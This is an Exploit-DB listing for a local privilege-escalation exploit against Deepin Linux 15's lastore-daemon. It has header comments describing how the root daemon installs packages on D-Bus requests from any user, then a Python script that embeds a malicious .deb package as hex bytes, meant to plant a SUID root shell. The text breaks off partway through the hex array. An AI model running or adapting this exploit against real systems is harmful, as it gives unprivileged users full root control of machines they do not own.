Exploit-DB #39433
Description: Deepin Linux 15 - 'lastore-daemon' Local Privilege Escalation
Type: local
Platform: linux
Date: 2016-02-10
Author: King's Way

Exploit:
#!/usr/bin/env python
# encoding=utf8

# Exploit Title: Lastore-daemon in Deepin 15 results in privilege escalation
# Date: 20160208
# Exploit Author: King's Way <root#kings-way.info>
# Vendor Homepage: http://www.deepin.org
# Software Link: http://cdimage.linuxdeepin.com/releases/15.1/deepin-15.1-amd64.iso
# Version: Deepin 15 & 15.01
# Tested on: Deepin 15 & 15.01
# CVE : null

# privilege escalation POC for deepin 15 & 15.1 with lastore-daemon.

# Vulnerability Description:
#    In Deepin Linux 15.1, they designed a daemon (called lastore-daemon) based
#    on dbus and apt to support deepin-appstore.
#    Lastore-daemon runs with root privilege to run apt-get commands and listens
#    to dbus message from every user.
#    So, we can send the package name along with some options to lastore-daemon 
#    to install or remove any package, even to destroy the host system.
#
#    Apart from that, if we prepare a malicious package and try to cheat lastore
#    -daemon into installing it, then anyone can have root privilege.


import os
import dbus
import time

def create_deb(deb_file_path):

#    Okay, we have to build a  package which will give us a shell with SUID bit.
#    Things below are hex data of my package. Of course, you can make your own version if you like.
    
    deb_data = [
		'0x21', '0x3c', '0x61', '0x72', '0x63', '0x68', '0x3e', '0xa', '0x64', '0x65', '0x62', '0x69', '0x61', '0x6e', '0x2d', '0x62', '0x69', '0x6e', '0x61', '0x72',
		'0x79', '0x20', '0x20', '0x20', '0x31', '0x34', '0x35', '0x34', '0x31', '0x34', '0x34', '0x38', '0x31', '0x34', '0x20', '0x20', '0x30', '0x20', '0x20', '0x20',
		'0x20', '0x20', '0x30', '0x20', '0x20', '0x20', '0x20', '0x20', '0x31', '0x30', '0x30', '0x36', '0x34', '0x34', '0x20', '0x20', '0x34', '0x20', '0x20', '0x20',
		'0x20', '0x20', '0x20', '0x20', '0x20', '0x20', '0x60', '0xa', '0x32', '0x2e', '0x30', '0xa', '0x63', '0x6f', '0x6e', '0x74', '0x72', '0x6f', '0x6c', '0x2e',
		'0x74', '0x61', '0x72', '0x2e', '0x67', '0x7a', '0x20', '0x20', '0x31', '0x34', '0x35', '0x34', '0x31', '0x34', '0x34', '0x38', '0x31', '0x34', '0x20', '0x20',
		'0x30', '0x20', '0x20', '0x20', '0x20', '0x20', '0x30', '0x20', '0x20', '0x20', '0x20', '0x20', '0x31', '0x30', '0x30', '0x36', '0x34', '0x34', '0x20', '0x20',
		'0x33', '0x38', '0x31', '0x20', '0x20', '0x20', '0x20', '0x20', '0x20', '0x20', '0x60', '0xa', '0x1f', '0x8b', '0x8', '0x0', '0x0', '0x0', '0x0', '0x0',
		'0x2', '0x3', '0xed', '0xd5', '0x41', '0x6b', '0xdb', '0x30', '0x18', '0x6', '0x60', '0x9f', '0xfd', '0x2b', '0x3e', '0xe8', '0x61', '0xa7', '0x3a', '0xb2',
		'0x24', '0xdb', '0x2c', '0x94', '0xb1', '0x91', '0xde', '0xc6', '0x58', '0xa0', '0xb0', '0x9d', '0x15', '0x59', '0x4e', '0x44', '0x1c', '0x2b', '0x48', '0x72',
		'0x43', '0xfe', '0xfd', '0xe4', '0x6c', '0x85', '0x30', '0x58', '0x7b', '0x4a', '0xca', '0xc2', '0xfb', '0x80', '0x91', '0xf8', '0x2c', '0x1b', '0xe1', '0x8f',
		'0x57', '0x2e', '0x66', '0xd9', '0xc5', '0xb1', '0xa4', '0xa9', '0xaa', '0xd3', '0x98', '0xfc', '0x3d', '0x9e', '0xe6', '0x25', '0xaf', '0x2b', '0xc1', '0x9a',
		'0x5a', '0x72', '0x99', '0xea', '0x4d', '0xc3', '0x79', '0x46', '0x55', '0x76', '0x5', '0x63', '0x88', '0xca', '0x13', '0x65', '0xde', '0xb9', '0xf8', '0xda',
		'0xba', '0xb7', '0xee', '0xff', '0xa7', '0x8a', '0xd9', '0xae', '0xad', '0xc2', '0xb8', '0xb', '0x17', '0xee', '0x7f', '0x2d', '0xe5', '0xbf', '0xfb', '0x5f',
		'0x57', '0x2f', '0xfd', '0x67', '0x65', '0x9d', '0xea', '0x65', '0xc9', '0x45', '0xea', '0x3f', '0x43', '0xff', '0x2f', '0xae', '0x6b', '0x2a', '0x2d', '0x57',
		'0xad', '0x96', '0xb5', '0xe6', '0x82', '0xa5', '0x49', '0xc7', '0x65', '0xa3', '0x85', '0x16', '0xec', '0xa3', '0x62', '0x8d', '0x36', '0x44', '0x63', '0xf0',
		'0xb3', '0x95', '0x1d', '0x66', '0xad', '0x31', '0x7b', '0x3b', '0x6c', '0x94', '0xde', '0xe6', '0x19', '0xdc', '0x4e', '0xfe', '0xb5', '0x1b', '0xa2', '0x77',
		'0xfd', '0x3b', '0xe6', '0x5f', '0xd4', '0x67', '0xe7', '0x7f', '0x29', '0xa7', '0xfc', '0xb', '0x2e', '0x90', '0xff', '0x6b', '0x58', '0xa6', '0x3c', '0xab',
		'0xb5', '0x99', '0xd3', '0x59', '0xbc', '0x7f', '0x18', '0x1f', '0xac', '0x1b', '0xe6', '0xc4', '0xa', '0x56', '0x94', '0xf9', '0x17', '0xaf', '0x37', '0x36',
		'0x1a', '0x1d', '0x47', '0x9f', '0xd6', '0xa9', '0x5d', '0x5b', '0xcb', '0xfc', '0x9b', '0xb2', '0x43', '0x4c', '0x97', '0xf1', '0x73', '0xfa', '0x6a', '0x87',
		'0xf5', '0x87', '0x40', '0x3f', '0xd5', '0x91', '0x1e', '0xa6', '0xaf', '0x74', '0xb7', '0x4d', '0x85', '0x70', '0x7f', '0x50', '0xc7', '0xc2', '0xe', '0x9d',
		'0xfb', '0x94', '0x3f', '0xa5', '0x67', '0x4f', '0xef', '0x1b', '0xa3', '0xed', '0x43', '0xbe', '0xf4', '0xd6', '0x79', '0x1b', '0x8f', '0x73', '0x72', '0xfb',
		'0xa9', '0xae', '0xfa', '0xfc', '0xd1', '0x4', '0xed', '0xed', '0xfe', '0xf7', '0xaa', '0xbd', '0xb7', '0xcf', '0xb6', '0x37', '0x6b', '0x43', '0xa9', '0xaa',
		'0x7a', '0x35', '0x55', '0x69', '0xf9', '0x7d', '0x41', '0x9d', '0xf3', '0x7f', '0xb6', '0x49', '0x65', '0x45', '0x7', '0x1b', '0x37', '0xd4', '0xab', '0x10',
		'0x9d', '0x37', '0xf7', '0xad', '0x32', '0x3b', '0x37', '0x14', '0xb4', '0xf0', '0x46', '0x45', '0xd3', '0xd2', '0xea', '0x78', '0xbe', '0xad', '0xcf', '0xc4',
		'0xa7', '0x1f', '0x4b', '0x29', '0x18', '0x8e', '0x2e', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0',
		'0x0', '0xb8', '0x49', '0xbf', '0x0', '0x93', '0xc6', '0x6e', '0x6c', '0x0', '0x28', '0x0', '0x0', '0xa', '0x64', '0x61', '0x74', '0x61', '0x2e', '0x74',
		'0x61', '0x72', '0x2e', '0x78', '0x7a', '0x20', '0x20', '0x20', '0x20', '0x20', '0x31', '0x34', '0x35', '0x34', '0x31', '0x34', '0x34', '0x38', '0x31', '0x34',
		'0x20', '0x20', '0x30', '0x20', '0x20', '0x20', '0x20', '0x20', '0x30', '0x20', '0x20', '0x20', '0x20', '0x20', '0x31', '0x30', '0x30', '0x36', '0x34', '0x34',
		'0x20', '0x20', '0x35', '0x30', '0x35', '0x34', '0x38', '0x20', '0x20', '0x20', '0x20', '0x20', '0x60', '0xa', '0xfd', '0x37', '0